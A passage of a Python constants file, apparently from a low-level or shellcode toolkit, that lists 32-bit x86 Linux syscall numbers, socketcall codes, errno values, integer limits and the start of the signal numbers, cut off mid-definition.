__NR_sigsuspend = Constant('__NR_sigsuspend',72) __NR_sigpending = Constant('__NR_sigpending',73) __NR_sethostname = Constant('__NR_sethostname',74) __NR_setrlimit = Constant('__NR_setrlimit',75) __NR_getrlimit = Constant('__NR_getrlimit',76) __NR_getrusage = Constant('__NR_getrusage',77) __NR_gettimeofday = Constant('__NR_gettimeofday',78) __NR_settimeofday = Constant('__NR_settimeofday',79) __NR_getgroups = Constant('__NR_getgroups',80) __NR_setgroups = Constant('__NR_setgroups',81) __NR_select = Constant('__NR_select',82) __NR_symlink = Constant('__NR_symlink',83) __NR_oldlstat = Constant('__NR_oldlstat',84) __NR_readlink = Constant('__NR_readlink',85) __NR_uselib = Constant('__NR_uselib',86) __NR_swapon = Constant('__NR_swapon',87) __NR_reboot = Constant('__NR_reboot',88) __NR_readdir = Constant('__NR_readdir',89) __NR_mmap = Constant('__NR_mmap',90) __NR_munmap = Constant('__NR_munmap',91) __NR_truncate = Constant('__NR_truncate',92) __NR_ftruncate = Constant('__NR_ftruncate',93) __NR_fchmod = Constant('__NR_fchmod',94) __NR_fchown = Constant('__NR_fchown',95) __NR_getpriority = Constant('__NR_getpriority',96) __NR_setpriority = Constant('__NR_setpriority',97) __NR_profil = Constant('__NR_profil',98) __NR_statfs = Constant('__NR_statfs',99) __NR_fstatfs = Constant('__NR_fstatfs',100) __NR_ioperm = Constant('__NR_ioperm',101) __NR_socketcall = Constant('__NR_socketcall',102) __NR_syslog = Constant('__NR_syslog',103) __NR_setitimer = Constant('__NR_setitimer',104) __NR_getitimer = Constant('__NR_getitimer',105) __NR_stat = Constant('__NR_stat',106) __NR_lstat = Constant('__NR_lstat',107) __NR_fstat = Constant('__NR_fstat',108) __NR_olduname = Constant('__NR_olduname',109) __NR_iopl = Constant('__NR_iopl',110) __NR_vhangup = Constant('__NR_vhangup',111) __NR_idle = Constant('__NR_idle',112) __NR_vm86old = Constant('__NR_vm86old',113) __NR_wait4 = Constant('__NR_wait4',114) __NR_swapoff = Constant('__NR_swapoff',115) __NR_sysinfo = Constant('__NR_sysinfo',116) __NR_ipc = Constant('__NR_ipc',117) __NR_fsync = Constant('__NR_fsync',118) __NR_sigreturn = Constant('__NR_sigreturn',119) __NR_clone = Constant('__NR_clone',120) __NR_setdomainname = Constant('__NR_setdomainname',121) __NR_uname = Constant('__NR_uname',122) __NR_modify_ldt = Constant('__NR_modify_ldt',123) __NR_adjtimex = Constant('__NR_adjtimex',124) __NR_mprotect = Constant('__NR_mprotect',125) __NR_sigprocmask = Constant('__NR_sigprocmask',126) __NR_create_module = Constant('__NR_create_module',127) __NR_init_module = Constant('__NR_init_module',128) __NR_delete_module = Constant('__NR_delete_module',129) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130) __NR_quotactl = Constant('__NR_quotactl',131) __NR_getpgid = Constant('__NR_getpgid',132) __NR_fchdir = Constant('__NR_fchdir',133) __NR_bdflush = Constant('__NR_bdflush',134) __NR_sysfs = Constant('__NR_sysfs',135) __NR_personality = Constant('__NR_personality',136) __NR_afs_syscall = Constant('__NR_afs_syscall',137) __NR_setfsuid = Constant('__NR_setfsuid',138) __NR_setfsgid = Constant('__NR_setfsgid',139) __NR__llseek = Constant('__NR__llseek',140) __NR_getdents = Constant('__NR_getdents',141) __NR__newselect = Constant('__NR__newselect',142) __NR_flock = Constant('__NR_flock',143) __NR_msync = Constant('__NR_msync',144) __NR_readv = Constant('__NR_readv',145) __NR_writev = Constant('__NR_writev',146) __NR_getsid = Constant('__NR_getsid',147) __NR_fdatasync = Constant('__NR_fdatasync',148) __NR__sysctl = Constant('__NR__sysctl',149) __NR_mlock = Constant('__NR_mlock',150) __NR_munlock = Constant('__NR_munlock',151) __NR_mlockall = Constant('__NR_mlockall',152) __NR_munlockall = Constant('__NR_munlockall',153) __NR_sched_setparam = Constant('__NR_sched_setparam',154) __NR_sched_getparam = Constant('__NR_sched_getparam',155) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157) __NR_sched_yield = Constant('__NR_sched_yield',158) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161) __NR_nanosleep = Constant('__NR_nanosleep',162) __NR_mremap = Constant('__NR_mremap',163) __NR_setresuid = Constant('__NR_setresuid',164) __NR_getresuid = Constant('__NR_getresuid',165) __NR_vm86 = Constant('__NR_vm86',166) __NR_query_module = Constant('__NR_query_module',167) __NR_poll = Constant('__NR_poll',168) __NR_nfsservctl = Constant('__NR_nfsservctl',169) __NR_setresgid = Constant('__NR_setresgid',170) __NR_getresgid = Constant('__NR_getresgid',171) __NR_prctl = Constant('__NR_prctl',172) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173) __NR_rt_sigaction = Constant('__NR_rt_sigaction',174) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',175) __NR_rt_sigpending = Constant('__NR_rt_sigpending',176) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179) __NR_pread = Constant('__NR_pread',180) __NR_pwrite = Constant('__NR_pwrite',181) __NR_chown = Constant('__NR_chown',182) __NR_getcwd = Constant('__NR_getcwd',183) __NR_capget = Constant('__NR_capget',184) __NR_capset = Constant('__NR_capset',185) __NR_sigaltstack = Constant('__NR_sigaltstack',186) __NR_sendfile = Constant('__NR_sendfile',187) __NR_getpmsg = Constant('__NR_getpmsg',188) __NR_putpmsg = Constant('__NR_putpmsg',189) __NR_vfork = Constant('__NR_vfork',190) __NR_ugetrlimit = Constant('__NR_ugetrlimit',191) __NR_mmap2 = Constant('__NR_mmap2',192) __NR_truncate64 = Constant('__NR_truncate64',193) __NR_ftruncate64 = Constant('__NR_ftruncate64',194) __NR_stat64 = Constant('__NR_stat64',195) __NR_lstat64 = Constant('__NR_lstat64',196) __NR_fstat64 = Constant('__NR_fstat64',197) __NR_lchown32 = Constant('__NR_lchown32',198) __NR_getuid32 = Constant('__NR_getuid32',199) __NR_getgid32 = Constant('__NR_getgid32',200) __NR_geteuid32 = Constant('__NR_geteuid32',201) __NR_getegid32 = Constant('__NR_getegid32',202) __NR_setreuid32 = Constant('__NR_setreuid32',203) __NR_setregid32 = Constant('__NR_setregid32',204) __NR_getgroups32 = Constant('__NR_getgroups32',205) __NR_setgroups32 = Constant('__NR_setgroups32',206) __NR_fchown32 = Constant('__NR_fchown32',207) __NR_setresuid32 = Constant('__NR_setresuid32',208) __NR_getresuid32 = Constant('__NR_getresuid32',209) __NR_setresgid32 = Constant('__NR_setresgid32',210) __NR_getresgid32 = Constant('__NR_getresgid32',211) __NR_chown32 = Constant('__NR_chown32',212) __NR_setuid32 = Constant('__NR_setuid32',213) __NR_setgid32 = Constant('__NR_setgid32',214) __NR_setfsuid32 = Constant('__NR_setfsuid32',215) __NR_setfsgid32 = Constant('__NR_setfsgid32',216) __NR_pivot_root = Constant('__NR_pivot_root',217) __NR_mincore = Constant('__NR_mincore',218) __NR_madvise = Constant('__NR_madvise',219) __NR_madvise1 = Constant('__NR_madvise1',219) __NR_getdents64 = Constant('__NR_getdents64',220) __NR_fcntl64 = Constant('__NR_fcntl64',221) __NR_gettid = Constant('__NR_gettid',224) __NR_readahead = Constant('__NR_readahead',225) __NR_setxattr = Constant('__NR_setxattr',226) __NR_lsetxattr = Constant('__NR_lsetxattr',227) __NR_fsetxattr = Constant('__NR_fsetxattr',228) __NR_getxattr = Constant('__NR_getxattr',229) __NR_lgetxattr = Constant('__NR_lgetxattr',230) __NR_fgetxattr = Constant('__NR_fgetxattr',231) __NR_listxattr = Constant('__NR_listxattr',232) __NR_llistxattr = Constant('__NR_llistxattr',233) __NR_flistxattr = Constant('__NR_flistxattr',234) __NR_removexattr = Constant('__NR_removexattr',235) __NR_lremovexattr = Constant('__NR_lremovexattr',236) __NR_fremovexattr = Constant('__NR_fremovexattr',237) __NR_tkill = Constant('__NR_tkill',238) __NR_sendfile64 = Constant('__NR_sendfile64',239) __NR_futex = Constant('__NR_futex',240) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',241) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',242) __NR_set_thread_area = Constant('__NR_set_thread_area',243) __NR_get_thread_area = Constant('__NR_get_thread_area',244) __NR_io_setup = Constant('__NR_io_setup',245) __NR_io_destroy = Constant('__NR_io_destroy',246) __NR_io_getevents = Constant('__NR_io_getevents',247) __NR_io_submit = Constant('__NR_io_submit',248) __NR_io_cancel = Constant('__NR_io_cancel',249) __NR_fadvise64 = Constant('__NR_fadvise64',250) __NR_exit_group = Constant('__NR_exit_group',252) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',253) __NR_epoll_create = Constant('__NR_epoll_create',254) __NR_epoll_ctl = Constant('__NR_epoll_ctl',255) __NR_epoll_wait = Constant('__NR_epoll_wait',256) __NR_remap_file_pages = Constant('__NR_remap_file_pages',257) __NR_set_tid_address = Constant('__NR_set_tid_address',258) __NR_timer_create = Constant('__NR_timer_create',259) __NR_timer_settime = Constant('__NR_timer_settime',(259+1)) __NR_timer_gettime = Constant('__NR_timer_gettime',(259+2)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(259+3)) __NR_timer_delete = Constant('__NR_timer_delete',(259+4)) __NR_clock_settime = Constant('__NR_clock_settime',(259+5)) __NR_clock_gettime = Constant('__NR_clock_gettime',(259+6)) __NR_clock_getres = Constant('__NR_clock_getres',(259+7)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(259+8)) __NR_statfs64 = Constant('__NR_statfs64',268) __NR_fstatfs64 = Constant('__NR_fstatfs64',269) __NR_tgkill = Constant('__NR_tgkill',270) __NR_utimes = Constant('__NR_utimes',271) __NR_fadvise64_64 = Constant('__NR_fadvise64_64',272) __NR_vserver = Constant('__NR_vserver',273) __NR_mbind = Constant('__NR_mbind',274) __NR_get_mempolicy = Constant('__NR_get_mempolicy',275) __NR_set_mempolicy = Constant('__NR_set_mempolicy',276) __NR_mq_open = Constant('__NR_mq_open',277) __NR_mq_unlink = Constant('__NR_mq_unlink',(277+1)) __NR_mq_timedsend = Constant('__NR_mq_timedsend',(277+2)) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(277+3)) __NR_mq_notify = Constant('__NR_mq_notify',(277+4)) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(277+5)) __NR_sys_kexec_load = Constant('__NR_sys_kexec_load',283) __NR_waitid = Constant('__NR_waitid',284) __NR_add_key = Constant('__NR_add_key',286) __NR_request_key = Constant('__NR_request_key',287) __NR_keyctl = Constant('__NR_keyctl',288) __NR_ioprio_set = Constant('__NR_ioprio_set',289) __NR_ioprio_get = Constant('__NR_ioprio_get',290) __NR_inotify_init = Constant('__NR_inotify_init',291) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',292) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',293) __NR_migrate_pages = Constant('__NR_migrate_pages',294) __NR_openat = Constant('__NR_openat',295) __NR_mkdirat = Constant('__NR_mkdirat',296) __NR_mknodat = Constant('__NR_mknodat',297) __NR_fchownat = Constant('__NR_fchownat',298) __NR_futimesat = Constant('__NR_futimesat',299) __NR_fstatat64 = Constant('__NR_fstatat64',300) __NR_unlinkat = Constant('__NR_unlinkat',301) __NR_renameat = Constant('__NR_renameat',302) __NR_linkat = Constant('__NR_linkat',303) __NR_symlinkat = Constant('__NR_symlinkat',304) __NR_readlinkat = Constant('__NR_readlinkat',305) __NR_fchmodat = Constant('__NR_fchmodat',306) __NR_faccessat = Constant('__NR_faccessat',307) __NR_pselect6 = Constant('__NR_pselect6',308) __NR_ppoll = Constant('__NR_ppoll',309) __NR_unshare = Constant('__NR_unshare',310) __NR_set_robust_list = Constant('__NR_set_robust_list',311) __NR_get_robust_list = Constant('__NR_get_robust_list',312) __NR_splice = Constant('__NR_splice',313) __NR_sync_file_range = Constant('__NR_sync_file_range',314) __NR_tee = Constant('__NR_tee',315) __NR_vmsplice = Constant('__NR_vmsplice',316) __NR_move_pages = Constant('__NR_move_pages',317) __NR_getcpu = Constant('__NR_getcpu',318) __NR_epoll_pwait = Constant('__NR_epoll_pwait',319) __NR_utimensat = Constant('__NR_utimensat',320) __NR_signalfd = Constant('__NR_signalfd',321) __NR_timerfd = Constant('__NR_timerfd',322) __NR_eventfd = Constant('__NR_eventfd',323) __NR_fallocate = Constant('__NR_fallocate',324) __NR_timerfd_settime = Constant('__NR_timerfd_settime',325) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',326) __NR_signalfd4 = Constant('__NR_signalfd4',327) __NR_eventfd2 = Constant('__NR_eventfd2',328) __NR_epoll_create1 = Constant('__NR_epoll_create1',329) __NR_dup3 = Constant('__NR_dup3',330) __NR_pipe2 = Constant('__NR_pipe2',331) __NR_inotify_init1 = Constant('__NR_inotify_init1',332) __NR_preadv = Constant('__NR_preadv',333) __NR_pwritev = Constant('__NR_pwritev',334) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',335) __NR_perf_event_open = Constant('__NR_perf_event_open',336) __NR_recvmmsg = Constant('__NR_recvmmsg',337) __NR_fanotify_init = Constant('__NR_fanotify_init',338) __NR_fanotify_mark = Constant('__NR_fanotify_mark',339) __NR_prlimit64 = Constant('__NR_prlimit64',340) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',341) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',342) __NR_clock_adjtime = Constant('__NR_clock_adjtime',343) __NR_syncfs = Constant('__NR_syncfs',344) __NR_sendmmsg = Constant('__NR_sendmmsg',345) __NR_setns = Constant('__NR_setns',346) __NR_process_vm_readv = Constant('__NR_process_vm_readv',347) __NR_process_vm_writev = Constant('__NR_process_vm_writev',348) __NR_kcmp = Constant('__NR_kcmp',349) __NR_finit_module = Constant('__NR_finit_module',350) __NR_sched_setattr = Constant('__NR_sched_setattr',351) __NR_sched_getattr = Constant('__NR_sched_getattr',352) __NR_renameat2 = Constant('__NR_renameat2',353) __NR_seccomp = Constant('__NR_seccomp',354) __NR_getrandom = Constant('__NR_getrandom',355) __NR_memfd_create = Constant('__NR_memfd_create',356) __NR_bpf = Constant('__NR_bpf',357) __NR_execveat = Constant('__NR_execveat',358) __NR_socket = Constant('__NR_socket',359) __NR_socketpair = Constant('__NR_socketpair',360) __NR_bind = Constant('__NR_bind',361) __NR_connect = Constant('__NR_connect',362) __NR_listen = Constant('__NR_listen',363) __NR_accept4 = Constant('__NR_accept4',364) __NR_getsockopt = Constant('__NR_getsockopt',365) __NR_setsockopt = Constant('__NR_setsockopt',366) __NR_getsockname = Constant('__NR_getsockname',367) __NR_getpeername = Constant('__NR_getpeername',368) __NR_sendto = Constant('__NR_sendto',369) __NR_sendmsg = Constant('__NR_sendmsg',370) __NR_recvfrom = Constant('__NR_recvfrom',371) __NR_recvmsg = Constant('__NR_recvmsg',372) __NR_shutdown = Constant('__NR_shutdown',373) __NR_userfaultfd = Constant('__NR_userfaultfd',374) __NR_membarrier = Constant('__NR_membarrier',375) __NR_mlock2 = Constant('__NR_mlock2',376) __NR_copy_file_range = Constant('__NR_copy_file_range',377) __NR_preadv2 = Constant('__NR_preadv2',378) __NR_pwritev2 = Constant('__NR_pwritev2',379) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',380) __NR_pkey_alloc = Constant('__NR_pkey_alloc',381) __NR_pkey_free = Constant('__NR_pkey_free',382) __NR_ia32_statx = Constant('__NR_ia32_statx',383) __NR_ia32_arch_prctl = Constant('__NR_ia32_arch_prctl',384) __NR_ia32_io_pgetevents = Constant('__NR_ia32_io_pgetevents',385) __NR_ia32_rseq = Constant('__NR_ia32_rseq',386) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',403) __NR_clock_settime64 = Constant('__NR_clock_settime64',404) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',408) __NR_timer_settime64 = Constant('__NR_timer_settime64',409) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',412) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',413) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',414) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421) __NR_futex_time64 = Constant('__NR_futex_time64',422) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) SYS_SOCKET = Constant('SYS_SOCKET',1) SYS_BIND = Constant('SYS_BIND',2) SYS_CONNECT = Constant('SYS_CONNECT',3) SYS_LISTEN = Constant('SYS_LISTEN',4) SYS_ACCEPT = Constant('SYS_ACCEPT',5) SYS_GETSOCKNAME = Constant('SYS_GETSOCKNAME',6) SYS_GETPEERNAME = Constant('SYS_GETPEERNAME',7) SYS_SOCKETPAIR = Constant('SYS_SOCKETPAIR',8) SYS_SEND = Constant('SYS_SEND',9) SYS_RECV = Constant('SYS_RECV',10) SYS_SENDTO = Constant('SYS_SENDTO',11) SYS_RECVFROM = Constant('SYS_RECVFROM',12) SYS_SHUTDOWN = Constant('SYS_SHUTDOWN',13) SYS_SETSOCKOPT = Constant('SYS_SETSOCKOPT',14) SYS_GETSOCKOPT = Constant('SYS_GETSOCKOPT',15) SYS_SENDMSG = Constant('SYS_SENDMSG',16) SYS_RECVMSG = Constant('SYS_RECVMSG',17) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',32) __UNALIGNED_MEMORY_ACCESS_OK = Constant('__UNALIGNED_MEMORY_ACCESS_OK',1) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = 